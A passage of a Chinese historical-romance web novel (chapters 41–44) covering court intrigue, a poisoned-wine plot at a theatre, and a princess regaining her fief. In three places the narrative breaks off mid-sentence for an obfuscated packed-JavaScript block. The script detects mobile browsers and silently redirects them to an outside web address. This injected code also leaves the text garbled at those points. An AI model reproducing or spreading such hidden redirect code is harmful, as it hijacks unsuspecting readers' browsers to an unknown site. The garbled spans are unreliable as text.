这才是他生气的原因。萧绍承认,从边境回来时,他确实想过再也不插手她的事,但这种念头仅仅过了几日,便被他自己又诚实地驳了回去。他根本做不到对她袖手旁观,明知不该,依旧放任自己,几次三番与她相见。 萧绍不禁自问,难道他的态度还不够明显吗?他当然不希望她再回到南江受苦,遇到机会也尽力相助,她却看不清楚,一次次地试探他,甚至不惜以自己为筹码,说要同他“交易”。 她早就忘记从前了,只把他当作一个普通的交易对象,不掺杂任何感情相关。他珍视多年的旧日情意,在她眼里一文不值。 “虞静央,你——” 萧绍突然感到一阵疲惫,靠在灶台边沿,补上未尽的话:“你回来之后,好像总是喜欢把我想得很坏。” 可他明明没有改变什么。她离开五年,还没有机会重新了解他,为什么就默认他变得很坏很不堪了呢? 虞静央急得蹙起眉头,辩解道:“我没有,你误会了!我之所以那样说,是因为……” 不知想到了什么,她突然止住,眸中闪过一丝黯然,终于声音低涩,将早在心中盘旋的念头坦白:“近日萧侯与沈家走动频繁,他们都说你与沈七娘子好事将近。你说谣言为假,可萧侯毕竟是你的亲生父亲,我放不下心,最后只能出此下策。” 虞静央眸子微红,里面藏着倔强,把那句难以启齿的话说了出来:“只要你答应了我,就能彻底断了你与沈家娘子的可能。这样,你就会一直帮我了。” 雨又淅淅沥沥下了起来,微凉的风顺着窗缝吹进来,袍角轻动,萧绍抿着唇,方才的激愤也被雨水浇熄了。 如果他与沈家有了姻亲关系,就不可避免地与晋王府生隙。一旦如此,他确实无法再在她的事上推波助澜,甚至可能要在关氏阵营面前摆出态度,成为催促她早回南江的一员。 可这些后果他怎么会不清楚,又怎么会任由父亲摆弄,真的让这样的局面出现?她选用这种极端的方式,贸然说那种话刺激他,当真只是为了杜绝对自己不利的情况发生,而没有别的了吗? 萧绍强行掐断自己的思绪,声音微哑:“我说过了,我绝不会与沈家结亲。我与我父亲的关系如何,你难道不清楚吗?” “我只是想让事情更稳妥一点。”虞静央低着头。 如果不是被逼紧了,她又怎么会选这种不体面的方式,既伤了他,又辱了自己。 水盆里的水不再冷了,被烫伤的手指也基本没了什么痛感。虞静央沉默着从水中抽出手,任由残留的水珠顺着指尖滑落,沾湿袖间披帛。 雨势越来越大,声声敲打着窗棂,密密麻麻的雨点在石砖上汇聚,仿佛也落在了人的心上。墙边攀爬的凌霄花被击打得东倒西歪,垂头丧气地耷拉着花瓣,在风中摇摇欲坠。 半晌,空旷的厨房里响起他的声音:“我答应你。” 虞静央一震,愕然抬起头,见萧绍正望着她。他答应了她的交易,神情却十分冷静,既无缠绵情意,亦没有自甘沉沦的放纵。 事实上,早在北桦林一事发生的次日,萧绍就已经想通了。既然已经打定主意助她一臂之力,不如一次说清让她安心,免得她整日胡思乱想,做伤人伤己的事,也利于他和她之间保持一个体面的关系。 见她似是误会,他兀自移开目光,冷声道:“我只是答应帮你,不是答应你那荒唐的报酬。我没有那种独特的癖好,对他人之妻没兴趣。” 他人之妻。 虞静央眼睫颤了几下,心中先是大石落地的放松,随后升起一阵淡淡的自嘲。 是了。萧绍近年久在边塞战场,虽成了武将,但也是在君子仪礼浸润下长大的世家子弟,骨子里的骄傲尚在,怎么能忍受躲在不见光的地方,与“他人之妻”暗通款曲? “多谢。”不管心中思绪如何纷杂,虞静央还是道。无论如何,她最大的目的都达到了。 对于她的客套疏离,萧绍早已经习惯了,更清楚这才是她原本待他的态度,至于北桦林里的小意逢迎,那不是她难忘旧情,而是她为了拉拢他装出来的。 “十几年,我以为你清楚我的性子。就算缘情已断,你不说,我也照样会帮你,哪怕是看在你哥哥的面子上。至于什么交易,我希望你再也不要提起。” 萧绍神情冷峻,淡声道:“我自会为你谋划,以后若有机会,亦在陛下面前替你说话,你安心吧。” 急雨过去,几句话的功夫再度渐小,有下人在外恭声询问,萧绍不再多留,径自率先出门。虞静央望着他离开,目光渐渐变得晦暗如墨。 只是替我说话吗? 不够,远远不够。你当为了我不顾一切的。 缘情已断…… 想起他说那番话时的神色,虞静央心中轻道:阿绍,下次说这种绝情的话之前,记得要移开自己的眼睛。 它会暴露你的心。 …… 药膳被打翻了一地,已经不能再吃,恰好到了用膳的时辰,虞静央只有吩咐下人另熬一份简单的白粥,跟着传膳的人回到正殿。 长公主倚在软榻前,见她回来,问:“怎么,谈妥了?” 这些事哪里瞒得住姑母那双毒辣的眼睛。虞静央没想着遮掩,走近在她身边坐下,小声道:“他说,他会帮我留下来。” 长公主听了却微微诧异,追问:“只是这样?” 虞静央点点头。长公主手拄着头哂笑一声,骂道:“蠢蛋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13174923|131511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。被抽上五十鞭子,恐怕嘴还是硬的。” 起初虞静央没听懂,半晌才反应过来姑母说的是萧绍,心道:五十鞭不知道,反正二十军棍是已经打过了。 她面上不显,故意问:“姑母的意思是……” 长公主看了一眼她迷茫的神色,翘起唇角。 “你走之后,继淮也没在玉京留多久,等到陈夫人下葬便离开了。他在青州待了三年,淮州待了两年,闯得一身战功不假,却也落了许多的伤。他想要功名,玉京多得是给他历练的机会,何必选这样苦的办法?” 长公主此时心情不错,颇为耐心地继续说:“从养尊处优的公子哥,变成了黄沙地里打滚的糙小子。他只是想建功立业?明明还怀了疗愈情伤的心思。至于现在这伤究竟治愈了没有,你以为如何?” 她在南江受苦,他也在边境遭罪,五年过去,他们倒是殊途同归了。 想起适才萧绍又是不甘又是激愤的脸色,虞静央低下头:“阿绥不知……” “我不说,由你自己想。” 长公主给了她一个了然的眼神,改说道:“明日该是个大晴天,你去崇宁宫一趟,同你父皇说说话。” 崇宁宫是行宫里皇帝的寝宫。虞静央不解,下意识问:“为何?” 长公主道:“你身为公主,即使年纪尚轻,不能像我一样入朝参政,至少也应该先把你应有的东西拿回来,免得受人看轻。” 应有的东西…… 虞静央心中隐隐有了猜测,以为姑母是怕自己被欺负,宽慰道:“姑母放心,有哥哥时常照拂,没有人为难我的。” “没人为难,那匹马是自己发疯驮着你往悬崖上奔的?” “……” 北桦林的事还历历在目,虞静央一时语塞,没能说话。 长公主坐直身子,恨铁不成钢道:“你记住,永远不要想着依靠男人过一辈子,即便是你亲哥哥。只有自己手里有权有钱,你才能真正活得肆意,哪怕必须要去争,去抢,那也是值得的。” 虞静央怔住。 自从回到玉京,人人都以为她还是曾经那样单纯的性格,她为行事方便也乐得伪装,只扮作一副在外受尽苦楚的无害样子。就连自己的姑母,她也选择了隐瞒,却没想到今日能在这里听到一番这样的话。 虞静央自小受宠爱长大,把长公主当作自己的半个母亲。一瞬之间,她几乎想要把自己的种种筹谋宣之于口,全部在这里和盘托出。 但理智最终阻止了她。虞静央眸色轻闪,只问:“姑母不怕我生出不该有的野心吗?” “只要你不像五年前那样又祸害自己的亲手足,我管你有什么野心。”长公主望着她,多年保养得宜的面容没有几条细纹,只有随阅历而来的从容光采。 “何为该,何为不该?谁人该有野心本无界定,只看你是否真有搅弄风云之能。” 言外之意就是:野心该不该有,关键要看能否成事。只要最终结局是成功,过程不择手段一点又何妨? 虞静央展颜一笑:“姑母,我明白了。” “还算不笨。” 屏风外,晚膳已经悉数布好,长公主从软榻起身:“行了,吃饭。” 42. 戏幕 即使被贬了官,接待梨花寨的差事依然在萧绍头上。离开长公主住处后,他一路出了行宫,听萧平禀报:“黎娘子把位置定在了昌顺楼,人已经到了。” 梨花寨声称要做东邀他饮宴,却不在正经酒楼,而是选了一处戏楼。萧绍皱眉,道:“告诉他们,中原没有边看戏边谈公务的习惯。” 萧平为难:“那黎娘子说今晚不谈公事,只是想请将军喝一杯酒。” 一个先前同他素未谋面的边疆使者,邀约不谈公事,还能说什么? 萧绍不知梨花寨葫芦里卖的什么药,原本不打算去,思忖片刻后还是一转马头,向昌顺楼方向去。 …… 灯酒相映,纱幔随起舞的伶人飘摇,处处是富贵靡丽之气。戏台上将要开场,有贵客前来,掌柜的亲自出来迎接,恭敬引着萧绍直上三楼,到了长廊尽头一处宽敞的雅间。 黎娘子依旧是一身红衣,面具遮住半张脸,在众人簇拥下安坐中央,见萧绍来了,笑道:“萧将军总算来了,请坐。” 在场的没有闲杂人,都是宫宴上见过的熟面孔,梨花寨的使者。除了黎娘子,座中人也个个热情自然,萧绍不动声色颔首,在众人对面落座:“黎娘子盛情相邀,不知有何要事?” 黎娘子轻哂:“我们已经在朝堂上同陛下议清政务,诸多盟约条件也商谈结束,早已没了什么要事。这次邀约晋王殿下与萧将军,不过就是想要表达感激之心,在离开之前专门谢过二位多日对我等的招待。” 接待梨花寨使者的差事一直是由虞静延和萧绍负责,今日黎娘子本邀请了他们两个人,但虞静延公务缠身仍在行宫中,于是就只有萧绍独自前来。 小厮在旁斟满酒,萧绍道:“我奉旨办事,这些是分内之务,黎娘子不必挂怀。” “萧将军这样说,便把今日当作一次简单的宴饮即可,愿你我皆尽兴。”黎娘子不强求,拿起手边酒盏,向他一敬。 她喝得爽快,身后随从亦是如此,既然来了,萧绍也不是个扫兴的人,饮尽杯中酒。 楼下戏曲已经开场,在这里居高临下无所遮挡,可以看得一清二楚。戏幕起落,水袖丹衣随着胡琴笛声起舞,引得一众簇拥的梨园客纷纷喝彩。 萧绍收回目光,问对面人:“黎娘子不去寻常酒楼,偏偏选了一处戏楼,不知是为何?” “我许久不来中原,对这梨园声姿有些怀念,在行宫找了个小侍女打听得知这里的戏好,便选在了此处。”黎娘子:“戏楼不比酒楼正式,不比青楼随性,对今日我与萧将军来说,是个正正好的去处。” 她话语中有深意,萧绍不由蹙了蹙眉。黎娘子唇边依旧是恰到好处的笑,侧首向随从示意,紧接着包厢门打开,从外面进来两个身形婀娜的美貌女子,一个气质清丽柔婉,另一个则眉眼深邃立体,自有一番异域风情。 两人听从黎娘子的命令,一左一右坐在了萧绍身边,就要为他斟酒。萧绍没动,紧盯着对面:“黎娘子这是什么意思?” 黎娘子脸色不变,解释道:“既然是表达谢意,只一顿饭未免也太没诚心了。这是橘红和柳绿,都是家世清白的干净女子,萧将军看着若还喜欢,便当作梨花寨送给你的一点薄礼。” 两个绝色女子,甚至风格迥然不同,梨花寨的这一份准备,如何不算贴心周全。萧绍挡住身侧送上前的酒盏:“这种先献美人再说事的法子,在我这儿不好用。黎娘子自己就是女子,何苦逼迫其他女子委身于人?” 戏台上,大戏仍在继续,背插彩旗的刀马旦粉墨登场,乐鼓声愈烈。 “在外闯荡多年,自然要学会投人所好。我本以为所有男人都会喜欢这种方式的,没想到萧将军是个异端。” 戏楼的戏唱得好,酒也清醇可口。黎娘子自顾自再饮一杯,从容拈着酒盏:“不过……” 隔着面具,黎娘子促狭的目光投在萧绍身上,玩笑道:“以萧将军如今的年岁,总不会从未近过女色吧?” 她言语孟浪,萧绍眸光冷下来:“黎娘子是大齐的客,但以你我的关系,还没有熟到互诉私事的地步。” 黎娘子见好就收,对此也不恼,能屈能伸举起酒盏:“是我唐突了,萧将军,莫怪。” 萧绍面色冷淡,看都没看那两个女子一眼,黎娘子心里有了数,吩咐让她们退到一边。 “小二,再拿两壶酒来。” “哎,来了!” 小厮殷勤送酒进来,恭恭敬敬放在桌上,退出去前却被叫住了:“等等。” 黎娘子拿着酒壶晃荡几下,盏中倒满后,贴近鼻间闻了闻。 “这酒的味道,好像与之前的不太一样啊。”她眼都没抬,漫不经心道。 小厮笑着回:“客官说笑了,今日的酒都是同一批酿出来的,怎会不一样呢?” “是么?到底是不是一样,你自己来尝一尝吧。”黎娘子没给他拒绝的机会,倒了一杯推到他面前。 这下小厮笑不出来了,额上出了冷汗,明显在强撑冷静。在原地支吾踌躇半晌,某一刻突然拔起步子想逃,仓皇冲向门口。 梨花寨众人有所预料,只听见“嗖嗖”两声,两根银针迅疾朝那人后背飞去。但还有人更快,一个空酒盏携着十足的力道率先而出,在银针即将刺入的前一瞬击中了那人的膝弯。 “啊!”“小厮”痛呼一声,当即跪倒在地。银针则扑了个空,顺着方向继续飞前,直直扎进了坚固的门侧木梁。 守卫上前把人团团围住。黎娘子扫了一眼钉在门框上的几根银针,赞道:“萧将军,好身手。” “小厮”被押在地上动弹不得,萧绍走到他面前,问:“你受何人指使?” 事态已经无力回天,细作身份暴露,欲咬破口中毒药,立刻被控制着他的萧平卸了下巴。梨花寨众人在一旁看戏,黎娘子招招手,对随从道:“这酒是他送来的,那就给他喝一杯。” 随从应声,提着那壶新送来的酒在杯盏中斟满,捏住细作的下颌灌了下去。不过片刻,细作便浑身抽搐,直挺着身子晕过去了。 果真有毒。 萧平会意上前查看,发现尚存一丝微弱的气息,禀道:“没死。” 不是一击毙命的毒。萧绍挥了挥手,话中情绪莫辨:“黎娘子给人灌酒,万一里面真有致命的毒药,人证一死,不担心找不到幕后指使之人?” “今日我等与萧将军共饮,这酒不是毒你,就是毒我。幕后之人不怕误伤,可见不论是谁出事,他都没有损失。” 黎娘子毫不在意,轻笑:“你我反目,谁能坐收渔翁之利?除了坤宁宫,应该也没有旁人了。” 她才到大齐地界几日,就将朝堂的势力纠葛摸了个清楚,萧绍心知眼前人不容小觑,眯眸道:“梨花寨的眼线情报果真名不虚传。” “萧将军谬赞。”黎娘子面不改色,徐徐道:“你自可把这人带回去,继续暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13191417|131511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中调查搜集证据。至于这毒酒,我只当不知道。” 她在边疆摸爬滚打多年,岂会看不清楚今日之局,虞静延和萧绍是这次的外事官,毒酒之事东窗事发,再由人“不小心”捅到天子那儿,一则治他们个办事不力的罪名,二则离间了梨花寨与晋王一脉的关系。 关皇后想拿她当枪使,也要先问问她同不同意。 萧绍知晓个中利害,听她竟不准备上报此事,反而如帮衬他们一般主动遮掩,心中更觉得意外。虽不知为何,他道:“今日之事,我定会给贵寨一个交代。” 细作很快被带了下去,眼前清理了个干净,可所谓宴饮终是被毁了。萧绍提前告辞,走到门口,侧首看见那几根钉在木头里的银针,针尖锋利,泛着寒光。 有些眼熟。 片刻,萧绍脑中一闪,突然想起死在虞静央府外的那个南江细作,就是刺破心脉而亡。当时仵作从他体内取出的几根银针,不论是长度、粗细,还是上面的特制纹路,皆与眼前的如出一辙。 中原不比边疆,暗器种类不多,善使银针者更是寥寥。难道是她们? 回想起之前在边疆巡守时查到的情报,是梨花寨暗中施以援手,才让虞静央平安投入大齐军营。萧绍盯着那几道冷光,心底缓缓浮现出一种不可思议的猜测,一边觉得全无可能,一边却又忍不住怀疑。 他目光始终停留在银针上,黎娘子不动声色,问:“萧将军,可还有什么问题?” “没什么。”萧绍暂且压下疑心,带着守卫离开。 厢房中只剩下一群梨花寨的部众,有人问:“大当家主动向他示好,可万一他不愿与我们合作呢?” 身后的人立马插话:“怕什么?他敢不愿,就直接解决了!” 沉稳一些的部众嫌弃这鲁莽之举,提醒道:“说什么呢!别忘了萧将军同宣城公主有渊源,你对他动手,大当家第一个饶不了你!” 手下你一言我一语地议论,黎娘子把玩着酒盏,徐徐道:“我遮掩今日的事,并非只是为了帮萧绍,现在还不是我们卷入大齐党争的时候。” 黎娘子这些年积威尤重,众人唯她马首是瞻,对她的决策皆没有异议,倒是对另一件事更担心:“方才看萧将军的反应,似乎已经盯上我们寨的银丝针了。” 当时只一心想着要把那个送酒的细作留下,情急之下全然忘记了银针这茬,不说手下,连她自己也忽视了。黎娘子皱了皱眉,心道以萧绍的能耐,若不多加留心,恐怕真的能被顺藤摸瓜查出来。 她还不想暴露身份,尤其是在如今敌友未知的节骨眼上。黎娘子道:“给下面的人传话,在回寨之前,叫他们务必隐蔽使用银丝针,莫要被人发现。” 部众们齐齐应了,原本“送给”萧绍的两个美貌女子还在原地,见状踌躇:“娘子,那我们……” “我本就没打算真的把你们牺牲出去,跟我回去就是。”黎娘子道。其实她们是梨花寨的手下,出现在这里不过是为了试探萧绍一番。 不过…… 想起先前派人暗查得知的事,萧绍洁身自好,多年来从无风月传闻,独自居住的府邸中亦无一女眷。她本以为只是萧绍喜好干净,而今日知晓的消息着实在她意料之外。 与殿下分别五年,没有记错的话,他今年二十有三,正是血气方刚的年纪,竟然至今都没有近过女色。 黎娘子翘起嘴角:“看来我得早些告诉殿下才是。” 43. 废位 翌日,马车停在崇宁宫门前。虞静央扶着侍女下车,钱顺海殷勤赶来,冲着她行了个礼:“见过三殿下,陛下和姜侯霍侯已经在里面了,就等着殿下来呢。” “有劳钱公公。”不成想舅父和霍侯也在,虞静央颇为意外,好在都是熟稔的长辈,相处起来倒也不觉拘束。 虞静央随钱顺海进了正殿,绕过八面黑漆盘龙隔扇,冰盆正冒着冷气,凉丝丝的感觉扑面而来。深处宽大的榻几前,虞帝正和对面的霍侯下棋,看见虞静央向她招手:“央儿,近前来。” 虞静央应了一声,依言走上前。棋盘上形势正到紧张的时候,黑白子纵横交杂,不难从中看出激烈对峙的气氛。 父皇天子之尊,站在这个位置,还敢使出真本事与他下一盘棋,半点都不退让的,也就只有昔日一同打天下的三两个袍泽手足了。 虞静央饮了一口宫人奉上的热茶,坐在旁静静等候。姜侯上把棋局方退下来,此时闲暇无事,与虞静央说话:“今日日头毒辣,殿下身子弱,可要当心中暑。” 碍于在圣上面前,舅甥间显得生疏,虞静央含笑回道:“舅父放心,我一路乘轿舆来,没有被晒到。” 两人如常寒暄,过了一会儿,虞帝撂下棋子,大笑道:“你这老狐狸,还是这么狡猾!” 即使输了棋,天子依旧心情甚佳。霍侯拱手,拒不承认狡猾之名:“臣倒觉得是三殿下来了,陛下爱女心切,急着要结束这棋局,这才让臣有了可乘之机啊。” 虞静央闻言也笑,无辜道:“明明是父皇自己心急,怎与我扯上了干系?霍伯父乱说。” 无人计较她的俏皮话,一时其乐融融,君臣分外和谐。案上棋局仍然未解,停在死胡同走不出来,虞帝也不再下,转而问虞静央:“此局何解?你来看看。” 棋艺是太学必学的科目,她懂些皮毛,却并不精通。虞静央站起身,站在棋案旁观望许久,不禁面露苦色。姜侯见状替她解围,笑道:“连陛下都被难住的棋局,却要三殿下解,实在是有些为难了。” 虞帝不以为意地摆手:“无妨。央儿,你只随意一看便可。” 话已说到这份上,便是不会怪罪的意思。虞静央心中安定,奈何看不出个所以然,斟酌着开口:“昔日曾听姑母提起,说母亲在世时喜欢钻研棋谱,其中不乏怪奇冷僻的棋局。儿臣看过那本棋谱,还记得母亲在里面写下的一句话,‘堵而抑之,不如疏而导之’。” 提起早逝的胞妹,除了精通棋艺,在琴书诗文上亦是极为出色的。姜侯也对那本棋谱有印象,不禁眼露怀念:“这是《老子》里的话。姜夫人喜欢读书,常常能把这些东西融会贯通。” 堵而抑之,不如疏而导之。 虞帝听罢若有所思,目光落在那陷入僵持的棋局。沉吟许久后,他拈起一子,落在棋盘上一处。此子一下,只见方才黑子所处的困窘迎刃而解,局势竟霎时间被逆转了。 数十个棋子步步为营设置出的险局,如今竟被轻易地用一子化解,实在是妙绝! “陛下英明!” 钱顺海跟在主子身后连声称奇,姜侯等人也纷纷赞叹。虞帝破了棋局是高兴,脸色也平和如常,但说起话来终究有些心不在焉了。 虞静央始终噙着笑,从容领了赏赐,心知父皇是忆起了亡母。果不其然,虞帝问道:“那本棋谱现在何处?” “回陛下,一直在臣府上好好保存着。若陛下想要,明日臣便差人送进宫来。”姜侯道。 冰盆里的冰消融了一半,又有宫人进来更换。霍侯想起往事,不禁眼露怀念:“还记得当年姜夫人身子弱,每逢夏日天热,便要遭罪犯头疼,陛下为夫人遍寻名医,最后还是没能治好。好在宣城公主和晋王殿下的身子都争气,没有从娘胎里带出这磨人的毛病。” 说起从前,虞帝亦是脸色温和。姜侯听了,笑道:“说来也巧,那时姜夫人患有头疾,只有用药缓解,药方中最重要的一味黄柳产自宣城,后来没了采药之需,这宣城又成了三殿下的封地。” “当真是母女缘分。”霍侯感叹。 虞帝听着,吩咐宫人续茶,又上了两盘虞静央喜欢吃的点心。 霍侯健谈,也敢在皇帝面前提起一些有趣的事,其中不乏士族臣子间的轶闻,君臣几人你一言我一语,氛围很是放松。约莫过去半柱香的时间,姜侯突然起身,跪在虞帝面前:“老臣有一事上奏,望陛下允准。” 虞帝问:“是何事?” “先前长公主府赏花宴上,犬子姜琮对晋王妃和三殿下出言不逊,已是闯下弥天大祸,虽是遭人暗算,亦难逃不敬罪责,除了此事以外,他骄横纨绔,整日沉迷声色犬马,闯下过太多祸端,实在是德不配位。” 姜侯显然已经深思熟虑过,掷地有声道:“臣请陛下恩准,废姜琮列侯世子之位。” 此话一出,在场所有人都震住了。虞静央更是又惊又急:“舅父!你——” 她虽不喜欢姜琮,但毕竟是嫡亲的表弟,既知那日赏花宴上他失控是因为被人算计中了药物,她们都不是心胸狭隘之人,又岂会长久地怀恨在心。事情已经过去许久,舅父为何还是耿耿于怀,不惜主动请愿,废去姜琮的世子之位以谢罪? 霍侯也连忙劝说:“这样大的事,你莫要冲动!琮儿是你唯一的嫡子,倘若当真夺了他的世子之位,日后姜氏岂不是要后继无人?” 虞帝身在皇宫,也对姜琮这个混不吝的事迹有所耳闻,毕竟弹劾姜家的奏折常常上达天听,其中十有八九是因为他。儿子闯祸,老爹擦屁股顶罪,多年来,姜家为了保住姜琮付出可不少,无非是因为他的身份贵重,乃是姜侯夫妇膝下独子,要是其姊姜瑶是男儿,这世子的位置无论如何也轮不到他。 “姜琮骄纵了些,但本性不坏,姜卿不妨再给他一个机会。”虞帝道。 姜侯不见动摇,仍然拱手:“臣情愿将来从族中过继嗣子承袭,也不忍见姜家祖业毁于不肖子孙之手。姜琮不堪为世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13210684|131511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,求陛下恩准。” 虞静央从他的话语中敏锐地捕捉到了关键。抛去姜琮不谈,姜家日常行事颇为谨慎,与关氏相比谦逊不少,但毕竟身在党争之中,若说全然不引天子忌惮,那是不可能的事。今日舅父放弃姜琮,提出另立嗣子为继承人,无疑是对自己手中权力的主动让渡和分化。 失之东隅,收之桑榆。舅父兵行险招,一定还会在其他地方得到补偿。 …… 片刻,虞帝道:“你是做父亲的,既然你心意已决,朕便不阻拦了。” 这正是姜侯想要的结果,当即叩首谢恩。虞静央心中有了数,惋惜道:“表弟心性单纯,许是磨练不足,还要舅父悉心教导。” 姜侯无奈苦笑:“犬子愚钝,若能有三殿下一半的聪慧伶俐,臣就知足了。” 无人再提这桩不愉之事,很快揭了过去。君臣又下了两盘棋,渐渐窗外太阳当空,正午将至,殿外有内官求见,虞帝让人进来,见是皇后宫中的女宫令,奉命前来送公文。 虞帝拿上翻看几眼,问道:“皇后阅过即可,这次为何特地送一趟?” 是吴州、殷城几处封地上呈玉京的文书。一国事务庞杂,皇后虽居于后宫,仍在朝堂上有一定的话语权,如皇子公主的封地治下相关事宜,通常可以不经天子之手,直接上禀坤宁宫过目,这次却一反常态,又送来了皇帝居所。 宫令答:“回陛下,惯例虽如此,但近来舆情纷乱,皇后娘娘担忧疏漏,还是希望陛下也一起确认无误才好。” 虞静央在一旁听着,顿时明白了关皇后的用意。所谓舆情纷乱,无非是因为受前段时日黎娘子在宫宴上那一番话的影响,说吴王封地矿产外流,有勾结外藩之疑,消息很快如长脚般传遍了朝野,一时议论繁杂。父皇虽不曾表现,但难免不会起疑心,也许早就派出探子暗中去查探了。 各处封地上报财政收成,往往数月才有一次,现在好不容易等到,关皇后就立马让人送了过来,是要让父皇亲眼看过数字,好证明自己和二皇兄的清白呢。 虞静央能想通的东西,虞帝怎会不明白,倒也没说什么,正好此时闲暇,便拿起文牒翻看起来。虞静央远远观望着,见那一叠文书来处各异,吴州、殷城、丹州,也有自家兄长的封地晋州。 霍侯留意到虞静央的神色,笑道:“适才还说起宣城,三殿下久居玉京,出嫁后更是遥远,应该也怀念自己的封地了吧?” 虞静央似被戳破心事,不好意思地说:“霍伯父说得没错。宣城太远,我约莫有七八年没有去过了。” 自她远嫁走后,宣城就成了无主之地,那里奇山峻岭环抱,虽然崎岖易封闭,深居东南之地,但胜在物产奇丰,是一块风光秀丽又富庶自足的宝地。 虞静央不动声色看了一眼虞帝,见他脸色平和,依然垂案看文书。她心中稍定,再三思量后主动开口:“父皇,这些文卷可有来自宣城的?那里盛产荔枝,儿臣想知道今年有没有丰收。” 44. 乌砂 虞帝停下,道:“宣城已归入当地太守府管辖,到年关才会上呈文书。” “原来如此……”虞静央听后一愣,而后垂下眼,声音也微微低了下去。 姜侯和霍侯身为臣子,无法在这种事上替她说话,只有静默。虞静央也不再说话,虞帝面色不明望着她,须臾一叹。 “朕知道你的意思,不过,宣城在当地治下多年,征税、盐铁、铸币,样样都是大事,突然分离出来又会增加诸多不便。你想参与封地事宜,朕就先把管辖之权交给你,让他们有事向你禀报,至于那些繁琐麻烦的事务,还是暂且放在当地官府手下施行,之后再慢慢收回也不迟。” 能重新得到宣城的管辖权,虞静央已是喜出望外,屈膝谢恩道:“谢父皇恩典。” 虞帝说到做到,当下就命人去拟旨。虞静央乖顺坐在对面,陪虞帝继续下棋,她棋艺不精,最后的结果当然是输了个一塌糊涂,她却不显沮丧,顺着长辈的打趣抿嘴笑。 输给皇帝,亦是输给自己的父亲,没有什么丢人的。今日她不虚此行,想要的东西已经拿到了。 没过一会儿,外面通传说晋王求见。殿门打开,虞静延随宫人进来请安,虞帝免了他的礼,问起来意,原是太学已经整修完善,特意前来禀报。 重开太学一事是虞静延上书提过的事,虞帝也早就答允过,听后道:“既然如此,等到返回玉京就重开太学学馆,乐安若有要好的玩伴,一并召进宫来伴读便是。” 在皇家太学学习的机会可遇不可求,那些士族和大臣不可能放过,虽然名义上是为乐安找“要好的玩伴”,但召多少人、召哪些人,又是一件值得权衡思量的事。 虞静延应了下来,拱手谢恩。 要事已经说完,虞静央接到眼色,顺势道:“父皇,儿臣也先告退了。” 兄妹两人向上座行礼,一前一后退了出去。虞帝撂下手里棋子,吩咐人把那一摞封地文牒撤了下去。内殿安静下来,只能听见窗棂缝隙外几声婉转隐约的鸟叫,还有簌簌吹着树叶的风声。 晋王过来是个小插曲,当下最要紧的还是封地的事。 不知皇帝心中究竟如何想,霍侯试探地劝说:“既然我大齐将与梨花寨缔结盟约,那南江人蛮横无理,我们就不必再顾及联姻,再将三殿下送回去……形势已然如此,陛下何不直接将宣城全权交回三殿下之手,也好让她安心呢?” 他的话说完,虞帝久久不语。直至霍侯心中打鼓,暗想是不是触了天子逆鳞之时,钱顺海适时从殿外进来,小心翼翼请示:“陛下,可要现在传膳?” 虞帝最终没有回答霍侯的话,不置可否地轻叹一声,像没有听见那样站起身:“用膳罢。” …… 高大宽敞的马车驶出崇宁宫门,虞静央放下车帘,好奇问身边人:“你怎么也过来了?” “姑母给我传了话,担心你一个应付不来。”虞静延回道。 是说争取拿回宣城的事。虞静央不由笑:“虽然没能完全拿回来,但父皇也有松口。” 说罢,她从袖中拿出一样东西,沉甸甸的刻着凤纹,是她之前的封地铜符。有了这个,就算暂时取不回宣城的全部实权,但也不用担心被旁人眼红染指了。 见她高兴,虞静延眼底也露出柔和:“这就好。” “昨日乐安还念叨,说你许久没有陪她一起放风筝了。”他道。 “这样毒的日头,仔细风筝还没放起来,人就已经中暑了。”虞静央好笑,向外望见朝晖殿将至,又想到确实已有几日没见乐安和嫂嫂,索性说:“别送我回去了,我随你去一趟。” 马车越过朝晖殿,继续向前行,兄妹俩闲来无事,有一搭没一搭地说话。过了片刻,外面的车夫忽然停下了马车,问候道:“见过吴王殿下。” 两人俱是一顿,虞静延率先掀开车帘,果真见虞静循立在外面,不知是何时来的。 他们三个地位平等,不相互见礼也没什么,何况本就关系生疏。车窗开得不大,帘子也没有完全掀起,所以从外面只能看见虞静延一个人,虞静循站在不近不远的位置,拱手唤了声“皇兄”,虞静延颔首,态度并不热切。 虞静循未乘马车,身后只跟了一个随从,就那样站在太阳底下。他却好像完全感受不到热一样,神色冷清:“看皇兄来的方向,是刚刚去见了父皇?” 虞静延应了一声,不欲与他细说什么。虞静循却像没有意识到对方的疏离,自顾自道:“重开太学是好事,既让乐安能好好读书,遴选伴读又让皇兄得了利。” 这话说得毫不掩饰,如同讽刺一般,虞静延皱起眉,警示道:“不过是为了乐安找几个要好的玩伴,谈何得利,二弟似对父皇的决定有所不满?” 